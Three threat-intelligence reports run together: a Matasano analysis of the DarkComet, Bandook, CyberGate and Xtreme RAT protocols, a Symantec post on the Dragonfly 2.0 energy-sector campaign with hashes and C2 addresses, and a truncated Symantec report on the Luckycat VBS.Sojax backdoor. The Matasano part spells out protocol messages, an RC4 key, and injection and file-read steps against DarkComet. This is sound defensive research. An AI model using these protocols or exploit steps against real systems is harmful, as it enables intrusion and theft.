This database also holds usernames and passwords for FTP servers to which the client has been configured to connect.
When a new connection is established, a handshake occurs which looks like this: Notation C-S indicates a message from the Client to the Server S-C indicates a message from the Server to the Client (U)     indicates the message is unencrypted DarkComet Handshake C-S: IDTYPE S-C: SERVER C-S: GetSIN172.16.1.1769734 S-C: infoesGuest16172.16.1.1 / [172.16.1.128] : 1604USER-3AA4AD4D2 / Administrator7697340sWindows XP Service Pack 3 [2600] 32 bit ( C:\ )x USHW-ID43English (United States) US / -- 6/13/2012 at 2:45:59 PM 5.3.0 Copyright 2012 Matasano Security.
All rights reserved.
For testing purposes, we wrote our own server which replied with the following shorter SIN (Server Info) string: infoesX1S50sW xUSI]780E65 SQL Injection in DarkComet By attaching a debugger to the client, we were able to view the SQL strings it generated by the client to query its database.
Upon connection with the above SIN string, the following SQL statement is executed: SELECT  FROM dc_users WHERE UUID7 If that UUID is not in the database, the following statement is executed: INSERT INTO dc_users VALUES( 7, 1, S, W, 0) If that UUID already exists, then the following statement is executed: UPDATE dc_users SET userIP1 WHERE UUID7 There is no input validation or sanitization, so all of these SQL statements are injectable with the following caveats: Executing multiple commands in one statement with s is disabled, anything after a  will not be executed load_extension() is disabled These can be used to modify data in the database.
We did not further develop these vulnerabilities to get information out of the database, as our next exploit made doing so unnecessary.
Arbitrary File Read from the Clients File System in DarkComet DarkComet uses a protocol that we have termed QuickUp in order to do ad-hoc uploading of files.
For instance, the client has a feature which allows you to edit the compromised computers hosts file.
This is done by downloading the hosts file to the client computer, editing it, and then uploading it back to the server.
The last part of that exchange uses the QuickUp protocol, and looks like this: DarkComet QuickUpload C-S: QUICKUPC:\DOCUME1\ADMINI1\LOCALS1\Temp\SynHosts.txt752HOSTS A new connection between the client and server is now established to handle the file transfer.
The old connection is not closed first, the existing socket just has connect() called on it again C-S: IDTYPE S-C: QUICKUP752C:\DOCUME1\ADMINI1\LOCALS1\Temp\SynHosts.txtHOSTS C-S (U): \x41\x00\x43 C-S (U): LENGTH_OF_FILE_IN_BYTES S-C (U): A C-S (U): RAW_DATA_OF_SPECIFIED_FILE S-C (U): A Copyright 2012 Matasano Security.
All rights reserved.
Note that the protocol consists of two stages, the QUICKUP command issued from the client, which establishes a new connection, and the QUICKUP command issued from the server, which begins the file transfer.
Most importantly, after the new connection has been opened, the server requests the file to be uploaded.
Three major weaknesses are present in this implementation: There is no check that the file in the client QUICKUP is the same as the file in the server QUICKUP The client responds to a QUICKUP commands, even if there was no corresponding QUICKUP from the client The client allows the server to specify the absolute path This flaw allows the retrieval of any file on the filesystem that it has permissions to read.
So for instance, to get a dump of the SQLite database, we can do the following: (1) Connect to the server and successfully complete the handshake (2) Open a new connection over our old one, the client will now reply: DarkComet SQLite DB Dump C-S: IDTYPE We now send a QUICKUP command unprompted S-C: QUICKUP111comet.dbUPLOADEXEC C-S (U): \x41\x00\x43 S-C (U): A C-S (U): LENGTH_OF_FILE S-C (U): A C-S (U): RAW_DATA_OF_COMET.DB Any file in the DarkComet directory can be read this way.
Alternatively, absolute paths can be specified, allowing read access to any file on the clients filesystem (that DarkComet has permissions to access).
Reading C:\secret.txt from Clients File System Copyright 2012 Matasano Security.
All rights reserved.
Reading C:\secret.txt from Clients File SystemOverall, this presents an issue for anyone using DarkComet.
If a server sample is discovered, it is trivial to retrieve the key from the binary that is used in the network communication.
The key retrieval process can even be automated [4].
Recently, the developer of the RAT has quit any further development due to its misuse, therefore leaving this issue unpatched [12].
For a stub server (written in python) that can exploit both of these vulnerabilities, see Appendix A.
The Bandook RAT Bandook is written in a mix of C and Delphi [5] [6].
The server is able to use process injection, API unhooking, and kernel patching to bypass (some versions) of the Windows firewall.
The server itself is fairly limited in functionality, but has the ability to be extended through a plugin architecture: the client can upload plugin code to the server.
The client comes with several plugins which need to be installed on the server to enable full functionality.
By default, the server attempts to hide itself by creating a process based on the default browser settings.
It lacks any real cryptography to protect its traffic.
Instead, it obfuscates its traffic by XORing against the constant 0xE9: Almost all messages are suffixed with  in cleartext: The client comes bundled with TightVNC 1.2.9.0, which has a publicly known security vulnerability.
More information regarding the vulnerability and proof of concept code is available online [7].
The latest public release of Bandook is v1.35, while the private version is at 1.4.
The public version was released April 2007, which makes it quite old and outdated.
It only supports up to Windows Vista, while the private version supports up to Win7.
XOR Loop with Constant Server Keepalive with Copyright 2012 Matasano Security.
All rights reserved.
Reverse Engineering The Bandook Protocol We will leave out the  cleartext suffix from our analysis.
Establishing a connection with the client is simple.
The server will start by sending one command: Bandook Connection Initialization S - C: first  0d 1h 15m  Admin    172.16.250.128  / WhiteHouse yesyesnonobndk13meUSAnoyesyes So a first command is used to establish a connection.
The fields separated by  correspond to info displayed in the client, such as IP, username, uptime, and location.
The fields marked yes/no correspond to whether the server has a given plugin or not.
The keepalive is as follows: Bandook Keepalive C - S: BANG S- C: BAMG To see the protocol for additional functionality, we recommend using the MITM decoder in Appendix B.
To any researchers who are interested in further work on Bandook, we have a fairly detailed set of notes on the additional functionality protocols, which is available upon request.
The CyberGate RAT CyberGate is another RAT written in Delphi.
Its also the only RAT we saw that featured protection against reverse engineering.
Using LordPE to obtain a dump, you can see the following strings: CyberGate Anti-Analysis Copyright 2012 Matasano Security.
All rights reserved.
Both PEiD and Detect It Easy could not identify what packer had been used.
We worked on unpacking it, until we finally discovered a tool called ProtectionID.
This was able to identify the packer as Safengine Licensor.
From some basic research, we discovered that unpacking the Safengine Licensor is a project in itself.
Due to our time constraint, we found it would be best to continue our efforts analyzing another RAT.
Before moving on though, we were able to uncover enough information about its protocol from the server stubs we created (which arent packed).
Interestingly, CyberGate uses two different schemes for communication.
Communication from the client to the server is done using a variant of base64.
The messages are base64 encoded, except instead of the canonical base64 string: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz01234567 89/ the string used is 0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx yz/ This is an obfuscation technique that is also common in enterprise software because the base64 dictionary has been scrambled, a standard base64 decoder produces gibberish when fed the data.
The base64 encoded messages end with the string , which when replaced with  and then fed into a base64 decoder (working against the custom string), produce cleartext.
In the other direction, messages going from the server to the client are first compressed using zlib (at a compression level of 1), and then encrypted with RC4 against the following key: njgnjvejvorenwtrnionrionvironvrnvcg210public They are then prefixed with the string XXXXXXXXXX Based off of this information, we think its safe to assume the private version will have some subtle differences in its communication.
Most likely the key is different, but the overall communication architecture is the same.
Copyright 2012 Matasano Security.
All rights reserved.
CyberGate RC4 Swap Copyright 2012 Matasano Security.
All rights reserved.
CyberGate Handshake S-C (U): 34\n S-C: cybergateY C-S (U): \x20\r\n S-C (U): \n C-S: maininfocybergate497125y5QX8qVHZ6KNoEzseP1UYFjR S-C (U): \n S-C: (stripping out a lot of null bytes) maininfo CGServer_EC3E266B172.16.1.128JESSE-3AA4AD4D2/ Administrator-WindowsXPProfessionalx32(Build:2600- ServicePack: 3.0)Intel(R)Core(TM)2DuoCPUP86002.40GHz511MBConsole v2.3.0-Public4000CyberGateServerConsole2301UnitedStates/ EnglishEnglish(UnitedStates)05/07/2012--15:24172.16.1.1:4000 CGServercybergateconsole1Yes C-S: configuracoesdoserver S-C (U): \n S-C (U): 89\n S-C: configuracoesdoserverconfiguracoesdoserver172.16.1.1:4000 CGServercybergateconsole1Yes Its keepalive looks like this: CyberGate Keepalive C - S (U): pingS- C: S-C (U): pongCyberGateServerConsole10157 A MITM script that can decrypt traffic is in Appendix C. Xtreme RAT Xtreme RAT was another one of the RATs used by the Syrian government.
We havent seen much public analysis of Xtreme RAT.
The guys over at malware.lu published a simple article covering a sample they received in an email.
Their Copyright 2012 Matasano Security.
All rights reserved.
analysis covered identifying and decrypting config information from the stub [10].
Our analysis will look into the communication protocol of the RAT.
Before looking at any internals, we opted to get a feel for the UI.
On the first run, users are prompted to enter a password.
Once entered, the program asks users to retype the password to confirm it.
After doing so, a file named user.info is created in the same directory.
This file is simply a unicode string of the MD5 hash of your password.
So if your password is 123, your user.info will contain the hash a933d13f81649bebe035dc21f4002ff1.
However, when we tried hashing 123 we found a different result (the correct hash is 202cb962ac59075b964b07152d234b70.)
It turns out this is an issue that was introduced in Delphi 2009, when the default string type switched from ANSI strings to unicode strings.
The MD5 implementation is not unicode aware [11], leading to incorrect hashes.
When creating a server, we tried to change the password from its default 0123456789.
It turns out Xtreme RAT limits your password to being only digits.
It also rejects any password that cannot fit in a 32-bit signed integer.
Well, thats not making us feel very secure.
The public version also limits the user to creating a stub which can only connect to localhost on port 81.
It also includes an annoying nag screen notifying the user that it is the public version.
However, all the functionality of the private version is present.
In order to begin analyzing its communication, we had to change the communication IP.
First, a quick analysis of the server stub.
The Xtreme RAT Server The stub sets itself up using a classic technique found in basic malware.
It first uses CreateProcess() to create a new process (named based on the default browser.)
Next, it uses WriteProcessMemory() to copy code to the newly created process (PE header starts at 0x1610000).
Unicode MD5 Hash of Password in CreateProcess() Based on Default Copyright 2012 Matasano Security.
All rights reserved.
It finishes the setup by simply resuming the thread using ResumeThread().
After patching the process to have an opcode of 0xEBFE, which is an infinite loop, at the point where the thread resumes, we attached a debugger and noticed that the process begins packed with UPX.
Unpacking is trivial from this point.
Locate the JMP following the POPAD instruction.
This brings us to our OEP: After patching the dump to connect to a different address, and removing the nag screen, we were able to start our analysis of the communication.
Xtreme RAT Communication Copying Code to the Newly Created Standard Entry Point Standard JMP to OEP Original Entry Point for Copyright 2012 Matasano Security.
All rights reserved.
Xtreme RAT Handshake Overview S-C (U): myversion3.6 Public\r\n C-S (U): \x58\x0d\x0a C-S (U): \xd2\x04\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00 C-S: maininfo??????
?
a?
a?
apK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk90dd3e7e19b35baa 54015d0b4a08f2d0 The communication of Xtreme RAT begins with the server making a connection to the client.
We then have the following: Xtreme RAT Identify Message S -C (U): myversion3.6 Public\r\n The client acknowledges by sending: Xtreme RAT ACK C -S (U): \x58\x0d\x0a Communication continues with the client asking for info about the server.
Notice that before any message sent, the stub or client will first send the password and length of the message to come, in little endian format.
Annoyingly, sometimes it sends this header as its own packet, sometimes it comes prefixed to the actual content.
And sometimes it prefixes the header with an ACK of \x58\x0d\x0a.
In this example, the password is 1234 and the length of the message to follow is 166 bytes.
Xtreme RAT Password/Length Message C - S: \xd2\x04\x00\x00\x00\x00\x00\x00\xa6\x00\x00\x00\x00\x00\x00\x00 - Password  0x4d2  1234 -Four bytes padding - Length  0xa6  166 -Four bytes padding Now what follows is some zlib compressed data with size 166 bytes.
Note that sometimes our MITM script fails to decode the zlib compressed data, for reasons unknown to us.
After decompression we have the following: Copyright 2012 Matasano Security.
All rights reserved.
Xtreme RAT Maininfo maininfo??????
?
a?
a?
apK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk90dd3e7e19b35baa 54015d0b4a08f2d0 Breaking it into its parts we have: Xtreme RAT Maininfo Dissected CMD: maininfo SEPARATOR: \xc2\x00\xaa\x00\xc2\x00\xaa\x00\xc2\x00\xaa \x00\x23\x00\x23\x00\x23\x00\xe2\x00\x22\x20\x61\x01\xe2\x00\x22\x20\x61\x01\xe2\x00\x22\x20 \x61\x01 RANDOM STRING: pK8qxVwtQ7XBgCuT0bFldfRjaSLmhHPGJyirE5z2A431ZMYUe69WnDcsoNk MD5: 90dd3e7e19b35baa54015d0b4a08f2d0 The random string is just that, a random string of length 0x3B or 59.
Its generated using the character set: [0-9],[A-Z],[a-z].
The hash is the incorrect MD5sum of XtremeRAT.
This will always remain the same (at least for the public version 3.6).
What follows is a response which contains some information about the system.
It follows the same protocol as before, with the password and length header, and the remaining message being compressed with zlib.
After this response, the stub is now connected to the client, but will continue to send more info, such as a screenshot of the desktop and a list of any webcams installed.
At this point, a full connection is established.
The client will send a keep alive while idle, which looks like the following: Xtreme RAT Keepalive C - S: ping S - C: pong937Current_Window (Server_Name) Also worth noting, Xtreme has the ability to try to disguise its handshake as HTTP.
In which case, its opening request will look like (with the default password): Xtreme RAT GET Request S-C (U): GET/1234567890.functions HTTP/1.1 Accept:/Accept-Encoding:gzip,deflate User-Agent:Mozilla/4.0(compatibleMSIE7.0WindowsNT5.1Trident/ 4.0.NETCLR1.1.4322.NETCLR2.0.50727.NETCLR3.0.4506.2152.NETCLR3.5.30729.
NET4.0C) Host:172.16.1.1:4000 Connection:Keep-Alive Copyright 2012 Matasano Security.
All rights reserved.
Conclusion RATs represent an under-researched but highly active area of malware in the wild.
With both governments and non-state actors using RATs for surveillance, knowledge about them carries increasing significance.
A good understanding of their protocols is critical to network and system administrators deploying tools that can notice the presence of a RAT.
All of the RATs we analyzed were written in Delphi.
This gave the RATs some resilience against classical security mistakes (buffer/heap overflows) that are much easier to make in a language like C or C. However, we still found serious vulnerabilities in DarkComet, which was the most widely deployed of the RATs we studied.
Our analysis of the communications should provide a solid foundation for other researchers interested in further reverse engineering and vulnerability research on RATs.
Some notable coincidences in behaviors between RATs (use of Delphi, using the  character as a separator, similar UIs, use of zlib, use of RC4, and other protocol similarities) may suggest shared code, although we do not have enough evidence to make any definitive statements on that subject.
Special thanks to John Villamil (day6reak) for his guidance and knowledge on this project, and to the rest of the Matasano Security team Copyright 2012 Matasano Security.
All rights reserved.
9/5/2017 Dragonfly: Western energy sector targeted by sophisticated attack group symantec.com /connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group The energy sector in Europe and North America is being targeted by a new wave of cyber attacks that could provide attackers with the means to severely disrupt affected operations.
The group behind these attacks is known as Dragonfly.
The group has been in operation since at least 2011 but has re-emerged over the past two years from a quiet period following exposure by Symantec and a number of other researchers in 2014.
This Dragonfly 2.0 campaign, which appears to have begun in late 2015, shares tactics and tools used in earlier campaigns by the group.
The energy sector has become an area of increased interest to cyber attackers over the past two years.
Most notably, disruptions to Ukraines power system in 2015 and 2016 were attributed to a cyber attack and led to power outages affecting hundreds of thousands of people.
In recent months, there have also been media reports of attempted attacks on the electricity grids in some European countries, as well as reports of companies that manage nuclear facilities in the U.S. being compromised by hackers.
The Dragonfly group appears to be interested in both learning how energy facilities operate and also gaining access to operational systems themselves, to the extent that the group now potentially has the ability to sabotage or gain control of these systems should it decide to do so.
Symantec customers are protected against the activities of the Dragonfly group.
1/6 https://www.symantec.com/connect/blogs/dragonfly-western-energy-sector-targeted-sophisticated-attack-group https://www.symantec.com/connect/blogs/dragonfly-western-energy-companies-under-sabotage-threat-energetic-bear http://www.reuters.com/article/us-ukraine-cyber-attack-energy-idUSKBN1521BA http://www.independent.ie/irish-news/statesponsored-hackers-targeted-eirgrid-electricity-network-in-devious-attack-36005921.html https://www.nytimes.com/2017/07/06/technology/nuclear-plant-hack-report.html Figure 1.
An outline of the Dragonfly groups activities in its most recent campaign Dragonfly 2.0 Symantec has evidence indicating that the Dragonfly 2.0 campaign has been underway since at least December 2/6 2015 and has identified a distinct increase in activity in 2017.
Symantec has strong indications of attacker activity in organizations in the U.S., Turkey, and Switzerland, with traces of activity in organizations outside of these countries.
The U.S. and Turkey were also among the countries targeted by Dragonfly in its earlier campaign, though the focus on organizations in Turkey does appear to have increased dramatically in this more recent campaign.
As it did in its prior campaign between 2011 and 2014, Dragonfly 2.0 uses a variety of infection vectors in an effort to gain access to a victims network, including malicious emails, watering hole attacks, and Trojanized software.
The earliest activity identified by Symantec in this renewed campaign was a malicious email campaign that sent emails disguised as an invitation to a New Years Eve party to targets in the energy sector in December 2015.
The group conducted further targeted malicious email campaigns during 2016 and into 2017.
The emails contained very specific content related to the energy sector, as well as some related to general business concerns.
Once opened, the attached malicious document would attempt to leak victims network credentials to a server outside of the targeted organization.
In July, Cisco blogged about email-based attacks targeting the energy sector using a toolkit called Phishery.
Some of the emails sent in 2017 that were observed by Symantec were also using the Phishery toolkit (Trojan.
Phisherly), to steal victims credentials via a template injection attack.
This toolkit became generally available on GitHub in late 2016, As well as sending malicious emails, the attackers also used watering hole attacks to harvest network credentials, by compromising websites that were likely to be visited by those involved in the energy sector.
The stolen credentials were then used in follow-up attacks against the target organizations.
In one instance, after a victim visited one of the compromised servers, Backdoor.
Goodor was installed on their machine via PowerShell 11 days later.
Backdoor.
Goodor provides the attackers with remote access to the victims machine.
In 2014, Symantec observed the Dragonfly group compromise legitimate software in order to deliver malware to victims, a practice also employed in the earlier 2011 campaigns.
In the 2016 and 2017 campaigns the group is using the evasion framework Shellter in order to develop Trojanized applications.
In particular, Backdoor.
Dorshel was delivered as a trojanized version of standard Windows applications.
Symantec also has evidence to suggest that files masquerading as Flash updates may be used to install malicious backdoors onto target networksperhaps by using social engineering to convince a victim they needed to download an update for their Flash player.
Shortly after visiting specific URLs, a file named install_flash_player.exe was seen on victim computers, followed shortly by the Trojan.
Karagany.
B backdoor.
Typically, the attackers will install one or two backdoors onto victim computers to give them remote access and allow them to install additional tools if necessary.
Goodor, Karagany.
B, and Dorshel are examples of backdoors used, along with Trojan.
Heriplor.
Western energy sector at risk from ongoing cyber attacks, with potential for sabotage dragonfly Strong links with earlier campaigns There are a number of indicators linking recent activity with earlier Dragonfly campaigns.
In particular, the Heriplor and Karagany Trojans used in Dragonfly 2.0 were both also used in the earlier Dragonfly campaigns between 2011 and 2014.
Trojan.
Heriplor is a backdoor that appears to be exclusively used by Dragonfly, and is one of the strongest 3/6 http://blog.talosintelligence.com/2017/07/template-injection.html https://www.symantec.com/security_response/writeup.jsp?docid2017-071414-3257-99 https://www.symantec.com/security_response/writeup.jsp?docid2017-071207-0015-99 tel:2014 https://www.symantec.com/security_response/writeup.jsp?docid2017-071206-3422-99 https://www.symantec.com/security_response/writeup.jsp?docid2017-073103-3836-99 https://www.symantec.com/security_response/writeup.jsp?docid2017-073113-4148-99 indications that the group that targeted the western energy sector between 2011 and 2014 is the same group that is behind the more recent attacks.
This custom malware is not available on the black market, and has not been observed being used by any other known attack groups.
It has only ever been seen being used in attacks against targets in the energy sector.
Trojan.
Karagany.
B is an evolution of Trojan.
Karagany, which was previously used by Dragonfly, and there are similarities in the commands, encryption, and code routines used by the two Trojans.
Trojan.
Karagny.
B doesnt appear to be widely available, and has been consistently observed being used in attacks against the energy sector.
However, the earlier Trojan.
Karagany was leaked on underground markets, so its use by Dragonfly is not necessarily exclusive.
Feature Dragonfly (2013-2014) Dragonfly 2.0 (2015-2017) Link strength Backdoor.
Oldrea Yes No None Trojan.
Heriplor (Oldrea stage II) Yes Yes Strong Trojan.
Karagany Yes Yes (Trojan.
Karagany.
B) Medium-Strong Trojan.
Listrix (Karagany stage II) Yes Yes Medium-Strong Western energy sector targeted Yes Yes Medium Strategic website compromises Yes Yes Weak Phishing emails Yes Yes Weak Trojanized applications Yes Yes Weak Figure 2.
Links between current and earlier Dragonfly cyber attack campaigns Potential for sabotage Sabotage attacks are typically preceded by an intelligence-gathering phase where attackers collect information about target networks and systems and acquire credentials that will be used in later campaigns.
The most notable examples of this are Stuxnet and Shamoon, where previously stolen credentials were subsequently used to administer their destructive payloads.
The original Dragonfly campaigns now appear to have been a more exploratory phase where the attackers were simply trying to gain access to the networks of targeted organizations.
The Dragonfly 2.0 campaigns show how the attackers may be entering into a new phase, with recent campaigns potentially providing them with access to operational systems, access that could be used for more disruptive purposes in future.
The most concerning evidence of this is in their use of screen captures.
In one particular instance the attackers used a clear format for naming the screen capture files, [machine description and location].
[organization name].
The string cntrl (control) is used in many of the machine descriptions, possibly indicating that these machines have access to operational systems.
Numerous organizations breached in six-year campaign against the energy sector dragonfly Clues or false flags?
While Symantec cannot definitively determine Dragonflys origins, this is clearly an accomplished attack group.
It is capable of compromising targeted organizations through a variety of methods can steal credentials to traverse 4/6 https://www.symantec.com/security_response/writeup.jsp?docid2010-121515-0725-99 targeted networks and has a range of malware tools available to it, some of which appear to have been custom developed.
Dragonfly is a highly focused group, carrying out targeted attacks on energy sector targets since at least 2011, with a renewed ramping up of activity observed in the last year.
Some of the groups activity appears to be aimed at making it more difficult to determine who precisely is behind it: The attackers used more generally available malware and living off the land tools, such as administration tools like PowerShell, PsExec, and Bitsadmin, which may be part of a strategy to make attribution more difficult.
The Phishery toolkit became available on Github in 2016, and a tool used by the groupScreenutil also appears to use some code from CodeProject.
The attackers also did not use any zero days.
As with the groups use of publicly available tools, this could be an attempt to deliberately thwart attribution, or it could indicate a lack of resources.
Some code strings in the malware were in Russian.
However, some were also in French, which indicates that one of these languages may be a false flag.
Conflicting evidence and what appear to be attempts at misattribution make it difficult to definitively state where this attack group is based or who is behind it.
What is clear is that Dragonfly is a highly experienced threat actor, capable of compromising numerous organizations, stealing information, and gaining access to key systems.
What it plans to do with all this intelligence has yet to become clear, but its capabilities do extend to materially disrupting targeted organizations should it choose to do so.
Protection Symantec customers are protected against Dragonfly activity, Symantec has also made efforts to notify identified targets of recent Dragonfly activity.
Symantec has the following specific detections in place for the threats called out in this blog: Symantec has also developed a list of Indicators of Compromise to assist in identifying Dragonfly activity: Family MD5 Command  Control Backdoor.
Dorshel b3b5d67f5bbf5a043f5bf5d079dbcb56 hxxp://103.41.177.69/A56WY Trojan.
Karagany.
B 1560f68403c5a41e96b28d3f882de7f1 hxxp://37.1.202.26/getimage/622622.jpg Trojan.
Heriplor e02603178c8c47d198f7d34bcf2d68b8 Trojan.
Listrix da9d8c78efe0c6c8be70e6b857400fb1 Hacktool.
Credrix a4cf567f27f3b2f8b73ae15e2e487f00 Backdoor.
Goodor 765fcd7588b1d94008975c4627c8feb6 Trojan.
Phisherly 141e78d16456a072c9697454fc6d5f58 184.154.150.66 Screenutil db07e1740152e09610ea826655d27e8d Customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have previously received reporting on the Dragonfly 2.0 group, which included methods of detecting and thwarting the activities of this adversary.
5/6 Best Practices Dragonfly relies heavily on stolen credentials to compromise a network.
Important passwords, such as those with high privileges, should be at least 8-10 characters long (and preferably longer) and include a mixture of letters and numbers.
Encourage users to avoid reusing the same passwords on multiple websites and sharing passwords with others should be forbidden.
Delete unused credentials and profiles and limit the number of administrative-level profiles created.
Employ two-factor authentication (such as Symantec VIP) to provide an additional layer of security, preventing any stolen credentials from being used by attackers.
Emphasize multiple, overlapping, and mutually supportive defensive systems to guard against single point failures in any specific technology or protection method.
This should include the deployment of regularly updated firewalls as well as gateway antivirus, intrusion detection or protection systems (IPS), website vulnerability with malware protection, and web security gateway solutions throughout the network.
Implement and enforce a security policy whereby any sensitive data is encrypted at rest and in transit.
Ensure that customer data is encrypted as well.
This can help mitigate the damage of potential data leaks from within an organization.
Implement SMB egress traffic filtering on perimeter devices to prevent SMB traffic leaving your network onto the internet.
Educate employees on the dangers posed by spear-phishing emails, including exercising caution around emails from unfamiliar sources and opening attachments that havent been solicited.
A full protection stack helps to defend against emailed threats, including Symantec Email Security.cloud, which can block email- borne threats, and Symantec Endpoint Protection, which can block malware on the endpoint.
Symantec Messaging Gateways Disarm technology can also protect computers from threats by removing malicious content from attached documents before they even reach the user.
Understanding the tools, techniques, and procedures (TTP) of adversaries through services like  DeepSight Adversary Intelligence fuels effective defense from advanced adversaries like Dragonfly 2.0.
Beyond technical understanding of the group, strategic intelligence that informs the motivation, capability, and likely next moves of the adversaries ensures more timely and effective decisions in proactively safeguarding your environment from these threats.
Tags: Security, Endpoint Protection, Endpoint Protection Cloud, Security Response, Dragonfly, energy sector, sabotage, Switzerland, targeted attacks, Turkey, U.S. 6/6 https://vip.symantec.com/ https://www.symantec.com/products/email-security-cloud https://www.symantec.com/products/endpoint-protection https://www.symantec.com/products/messaging-gateway https://www.symantec.com/services/cyber-security-services/deepsight-intelligence/adversary https://www.symantec.com/connect/search?filtersim_vid_31:691 https://www.symantec.com/connect/product/endpoint-protection-vdi https://www.symantec.com/connect/product/endpoint-protection-cloud https://www.symantec.com/connect/search?filtersim_vid_51:2261 https://www.symantec.com/connect/search?filtersim_vid_111:105841 https://www.symantec.com/connect/search?filtersim_vid_111:69971 https://www.symantec.com/connect/search?filtersim_vid_111:70001 https://www.symantec.com/connect/search?filtersim_vid_111:98251 https://www.symantec.com/connect/search?filtersim_vid_111:29071 https://www.symantec.com/connect/search?filtersim_vid_111:88581 https://www.symantec.com/connect/search?filtersim_vid_111:105831 Dragonfly: Western energy sector targeted by sophisticated attack group Dragonfly 2.0 Strong links with earlier campaigns Potential for sabotage Clues or false flags?
Protection Best Practices
Security Response Contents Overview ............................................................ 1 Technical details ................................................ 2 Attack vector ................................................ 2 VBS.Sojax ..................................................... 3 CC server protocol ..................................... 4 Victims .......................................................... 5 The attackers ............................................... 5 Conclusion.......................................................... 6 Symantec protection ......................................... 7 Appendix ............................................................ 8 Recommendations ....................................... 8 MD5s of VBS.Sojax samples ........................ 9 Infographic ................................................. 10 Overview A series of attacks, targeting both Indian military research and south Asian shipping organizations, demonstrate the minimum level of ef- fort required to successfully compromise a target and steal sensitive information.
The attackers use very simple malware, which required little development time or skills, in conjunction with freely available Web hosting, to implement a highly effective attack.
It is a case of the attackers obtaining a maximum return on their investment.
The at- tack shows how an intelligent attacker does not need to be particu- larly technically skilled in order to steal the information they are after.
The attack begins, as is often the case, with an email sent to the victim.
A malicious document is attached to the email, which, when loaded, ac- tivates the malware.
The attackers use tailored emails to encourage the victim to open the email.
For example, one email sent to an academic claimed to be a call for papers for a conference (CFP).
Academics receive dozens of CFPs every year.
If the victim has previously presented at that particular conference, or is interested in the subject matter, they are quite likely to open the CFP.
Another email sent to a maritime organiza- tion claims to contain details of an alert beaconing system.
Again, this is a relevant topic for the recipient.
A judicious choice of email topics and recipients by the attackers is the most effective way of compromising the target and also maintaining a low profile.
Fewer, more effective emails, which do not draw attention to themselves, allow the attacks to continue undetected for as long as possible.
Discreet malware also aids this cause.
After the email attachment has been opened by the victim, the malware, VBS.Sojax, is activated.
The attackers chose a very simple technique for The Luckycat Hackers http://www.symantec.com/security_response/writeup.jsp?docid2012-011606-0524-99 The Luckycat Hackers Page 2 Security Response their malware.
Rather than using a compiled programming language to write the back door Trojan, they used a Visual Basic script.
Scripts are very simple to develop, requiring less expertise and time to develop than a standard back door Trojan.
The script itself is quite simple.
It connects to a command-and-control (CC) server to retrieve commands and upload data.
HTTP is used to easily pass through firewalls.
The script functionality is basic it can run commands and it can upload and download files.
This is enough to retrieve any information the attackers want.
Again, minimal effort is expended for maximum gain.
The same ethos is shown with the choice of CC servers.
CC servers are a potential pitfall for the attackers as it may be possible for an investigator to track the attackers using registration details for the CC server.
This is the case when the attackers register and pay for their own CC server.
A commonly used alternative is for attackers to commandeer an innocent third party server for their own purposes.
This requires effort, however, as the attackers must firstly locate and then hack into the server.
The Sojax attackers use an approach that requires much less effort.
They use free Web hosting.
There are hundreds of free Web hosting sites that require little or no registration information.
Once the attackers have registered the free service, they create a directory and upload a PHP script that acts as the CC server.
They then modify their malware scripts to use this new URL and email the scripts out to targets.
Symantec identified 25 CC servers.
Only two or three of these were active, the rest had been abandoned.
Several partial listings of stolen file names (not the files) were retrieved from the server, along with the IP addresses of compromised computers and the IP addresses of the attackers.
The vast majority of the victims were based in India, with some in Malaysia.
The victim industry was mostly mili- tary research and also shipping based in the Arabian and South China seas.
In some instances the attackers ap- peared to have a clear goal, whereby specific files were retrieved from certain compromised computers.
In other cases, the attackers used more of a shotgun like approach, copying every file from a computer.
Military technol- ogies were obviously the focus of one particular attack with what appeared to be source code stolen.
45 different attacker IP addresses were observed.
Out of those, 43 were within the same IP address range based in Sichuan province, China.
The remaining two were based in South Korea.
The pattern of attacker connections implies that the IP addresses are being used as a VPN, probably in an attempt to render the attackers anonymous.
The attacks have been active from at least April 2011 up to February 2012.
The attackers are intelligent and focused, employing the minimum amount of work necessary for the maximum gain.
They do not use zero day exploits or complicated threats, instead they rely on effective social engineering and lax security measures on the part of the victims.
Security awareness training and a consistent patching strategy would have protected the victims from these attacks.
Technical details Attack vector The attacks are initiated by email.
Symantec.cloud has detected several emails distrib- uting the VBS.Sojax back door Trojan.
Two example emails are shown in figure 1.
Most of the emails are fairly well tailored.
The two examples shown here are probably the most targeted ones.
Other emails topics are about salaries a fairly common topic used in targeted attacks.
The emails are nearly all sent from Gmail, which does not store the originating IP address.
Two of the emails were Figure 1 Example emails The Luckycat Hackers Page 3 Security Response sent through Yahoo mail, which does store the originating IP address.
The source IP ad- dress for both of these emails was the same an IP address located in Germany.
Other independent reports show this IP address as an originator of spam and thus may be an open relay.
The breakdown of emails detected by Syman- tec.cloud and samples per month is shown in figure 2.
These numbers represent the mini- mum number of emails sent by the attackers as not all victims are using Symantec.cloud services.
Figure 3 lists the number and type of exploit used by the attackers.
The exploits are all old, publicly available, and patched.
The vast ma- jority used are PDF exploits.
Sixteen samples exploiting the CVE-2010-2883 vulnerability have been located, with only one or two of the other exploits.
It may be that the attack- ers have more success with the PDF exploit either because the target computers are not patched, or because it is easier to obfuscate the PDFs and prevent antivirus detection.
VBS.Sojax When the dropper document, the .doc, .rtf, or .pdf is loaded, it drops an executable to the following location: ProgramFiles\Common Files\Microsoft Shared\update.exe This executable is then run.
When run, it extracts a script from its resources and writes this script to the following location Temp\temp.vbs.
This script contains the pri- mary functionality of the threat.
Figure 4 shows a portion of the script.
The simplicity of the script is plain to see.
When first run, the script obtains the following information: A complete listing of all files in partitions from drives C through I Network information (ipconfig /all) Information about the compromised computer (systeminfo) Processes running on the computer (tasklist) It stores all of the output in the following folder: Windir\NtUninstallKB This data is then compressed into a .cab file and uploaded to the CC server.
